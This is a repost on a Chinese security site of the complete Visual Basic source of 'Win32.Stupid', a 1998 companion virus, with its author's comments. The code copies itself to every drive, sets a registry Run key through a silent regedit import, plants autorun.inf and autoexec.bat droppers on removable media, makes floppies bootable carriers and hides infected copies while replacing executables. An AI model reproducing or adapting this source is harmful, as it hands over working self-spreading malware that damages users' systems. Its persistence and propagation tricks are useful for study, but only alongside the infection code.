标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-251]   作者: ecawen 发表于: [2017-08-06]

本文共 [885] 位读者顶过

'------------------------------'------------------------------'------------------------------ 
' Win32.Stupid [出自:jiwo.org]
' by VicodinES 
' First virus ever written in VB5 
' First VB virus ever (I think) 

'------------------------------'------------------------------'------------------------------ 

' Companion Virus - EXE infection 

' What does it do? 

' Copies itself to all available resources on initial execution 
' (removable drives and floppy included) 
' Registers itself as a "RUN" service in the registry 
' (activated during each reboot) 
' Has a small message box payload. 
' Makes infected floppys "bootable infectors" 
' Makes infected zip drives "carriers" 
' Slow infector 
' (only does one EXE per reboot othewise it might be too obvious) 
' Works on Win95/98/NT 

' Drawbacks: 

' It's a companion virus 
' DLL dependent in 95/NT (Win98 ships with the dll) 
' it's too big 

'------------------------------'------------------------------'------------------------------ 

' I tried to comment the best I could - I am a SLOPPY PROGRAMMER so if you don't 
' understand something or start to go nuts because I don't indent then just ask 
' me for an explanatioin - Vic 

'------------------------------'------------------------------'------------------------------ 

' (c) The Narkotic Network, July 1998 

'------------------------------'------------------------------'------------------------------ 

' **THIS IS THE 2nd VERSION - A FEW BUG FIXES A FEW CHANGES** 

Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long 
Private Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long 
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long 
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long 
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long 
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long 
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long 
Private FD(1 To 10) As String 
Private xc, x As Integer 
Private Smilecopy, Dat0copy, smile, dat0, weare, wearecom, supspn, sup As String 
Private companion, nodat0 As Boolean 
Private s As Long 
Private Sub Form_Load() 
On Error Resume Next 
Const REG_DWORD As Long = 4 
Const REG_SZ As Long = 1 
Const HKEY_CURRENT_USER As Long = &H80000001 
Const HKEY_LOCAL_MACHINE As Long = &H80000002 
Call PassCheck 
Dim s As Long 
s = 256 
v$ = String$(s, 0) 
weare = App.EXEName 
wearecom = weare & ".com" 
smile = weare & ".exe" 
dat0 = "dat0.exe" 
dat0home = "c:\" & dat0 
HoldMeDear = Dir(wearecom) 
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", 0, KEY_ALL_ACCESS, k) 
u = RegQueryValueExA(k, "Startup", 0, REG_SZ, ByVal v$, s) 
u = RegCloseKey(k) 
For e = 1 To Len(v$) 
If Mid$(v$, e, 1) = Chr$(0) Then GoTo done 
sup = sup + Mid$(v$, e, 1) 
Next e 
done: 
supspn = spn(sup) 
If (UCase(HoldMeDear)) = (UCase(wearecom)) Then companion = True 
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS, k) 
u = RegQueryValueExA(k, "Vic", 0, REG_SZ, ByVal v$, s) 
u = RegCloseKey(k) 
If Mid$(v$, 5, 1) <> "d" Then 
Call makereg 
Else 
wein = True 
End If 
SetAttr dat0home, vbArchive 
If Dir(dat0home) <> dat0 Then nodat0 = True 
SetAttr dat0home, vbHidden + vbReadOnly + vbSystem 
If (nodat0 = False) And UCase(weare) = "DAT0" Then Call WeVirus 
If nodat0 = False And companion = True Then Call ExecuteFile 
Call Find_Drives 
For x = 1 To xc 
Smilecopy = FD(x) & "Smile.exe" 
Dat0copy = FD(x) & dat0 
typeofdrive = GetDriveType(CStr(FD(x))) 
If typeofdrive = 4 Or typeofdrive = 3 Or typeofdrive = 2 Or typeofdrive = 1 Then 
If typeofdrive = 2 And UCase(FD(x)) <> "A:\" Then Call ARD 
If UCase(FD(x)) = "A:\" Then 
Call ADrive 
GoTo adone: 
End If 
If Dir(Smilecopy) <> "Smile.exe" Or nodat0 = True Then 
If (UCase(FD(x)) = "C:\") And (wein = False Or nodat0 = True) Then 
FileCopy smile, Dat0copy 
nodat0 = False 
FileCopy smile, Smilecopy 
SetAttr Dat0copy, vbHidden + vbReadOnly + vbSystem 
Else 
FileCopy smile, Smilecopy 
End If 
End If 
adone: 
End If 
Next x 
End 
End Sub 
Function Find_Drives() 
Dim strBuffer As String 
Dim lngBytes As Long 
Dim intPos As Integer 
Dim intPos2 As Integer 
Dim strDrive As String 
strBuffer = Space(255) 
lngBytes = GetLogicalDriveStrings(Len(strBuffer), strBuffer) 
intPos2 = 1 
intPos = InStr(intPos2, strBuffer, vbNullChar) 
Do Until intPos = 0 Or intPos > lngBytes 
xc = xc + 1 
strDrive = Mid(strBuffer, intPos2, intPos - intPos2) 
FD(xc) = strDrive 
intPos2 = intPos + 1 
intPos = InStr(intPos2, strBuffer, Chr(0)) 
Loop 
End Function 
Function makereg() 
On Error Resume Next 
Open "c:\v.reg" For Output As 1 
Print #1, "REGEDIT4" 
Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]" 
Print #1, """Vic""=""\""c:\\dat0.exe\""""" 
Close 1 
Shell "regedit /s c:\v.reg" 
Kill "c:\v.reg" 
End Function 
Function ADrive() 
On Error GoTo out 
If Dir(Smilecopy) <> "Smile.exe" Then 
FileCopy smile, Smilecopy 
Open "a:\autoexec.bat" For Output As 1 
Print #1, "@echo off" 
Print #1, "copy smile.exe " & supspn & "\smile.exe" 
Print #1, "cls" 
Print #1, "del autoexec.bat" 
Close 1 
Open "c:\s.bat" For Output As 1 
Print #1, "path=c:\windows\command" 
Print #1, "c:" 
Print #1, "sys a:" 
Close 1 
Shell "c:\s.bat", vbHide 
End If 
out: 
End Function 
Function ExecuteFile() 
On Error Resume Next 
Shell (wearecom), vbNormalNoFocus 
End 
End Function 
Function WeVirus() 
On Error Resume Next 
Dim pathz(1 To 20), infect(1 To 100) As String 
Dim dispick As String 
Dim EXEFile As Integer 
If Dir("c:\p.d") <> "p.d" Then 
Open "pth.bat" For Output As 1 
Print #1, "path > c:\p.d" 
Close 1 
Shell "pth.bat", vbHide 
For x = 1 To 1000000 
Next x 
End If 
ctr = 1 
Open "c:\p.d" For Input Access Read Shared As 1 
Do Until EOF(1) 
snap = Input(1, 1) 
If UCase(snapit) = "PATH=" Then snapit = "" 
If snap <> ";" Then snapit = snapit + snap 
If snap = ";" Then 
pathz(ctr) = snapit 
snapit = "" 
ctr = ctr + 1 
End If 
Loop 
Close 1 
Randomize 
dispick = pathz(Int(Rnd * (ctr - 1)) + 1) 
pathtoinfect = spn(dispick) 
InfectEXEName = Dir(pathtoinfect & "\*.exe", vbDirectory) 
Do While InfectEXEName <> "" 
EXEFile = EXEFile + 1 
infect(EXEFile) = InfectEXEName 
InfectEXEName = Dir 
Loop 
pickedexe = infect((Int(Rnd * (EXEFile - 1))) + 1) 
rawEXEName = Mid(pickedexe, 1, Len(pickedexe) - 4) 
If Dir(dispick & "\" & rawEXEName & ".com") <> rawEXEName & ".com" Then 
FileCopy pathtoinfect & "\" & pickedexe, pathtoinfect & "\" & rawEXEName & ".com" 
FileCopy smile, pathtoinfect & "\" & pickedexe 
Else 
End If 
End Function 
Function spn(sp As String) As String 
Dim sb As String 
Dim lb As Long 
sb = Space(200) 
lb = GetShortPathName(sp, sb, Len(sb)) 
If lb > 0 Then spn = Left(sb, lb) 
End Function 
Function PassCheck() 
If Minute(Now) = 30 And Second(Now) >= 16 Then 
If Day(Now) > 15 Then 
MsgBox "DAMN!!" + vbCr + "This is..." + vbCr + "*S T U P I D*", vbExclamation, "Win32.Stupid" 
Else 
well = MsgBox("Cameron Diaz is a goddess!", vbExclamation + vbYesNo, "Vic says...") 
If well = vbYes Then 
End 
Else 
MsgBox "JERK!", vbApplicationModal + vbCritical, "Win32.Stupid" 
End If 
End If 
End If 
End Function 
Function ARD() 
If Dir("Autorun.inf") <> "Autorun.inf" Then 
Open FD(x) & "Autorun.inf" For Output As 1 
Print #1, "[autorun]" 
Print #1, "OPEN=SMILE.EXE" 
Close 1 
End If 
End Function

评论

暂无
发表评论
 返回顶部 
热度(885)
 关注微信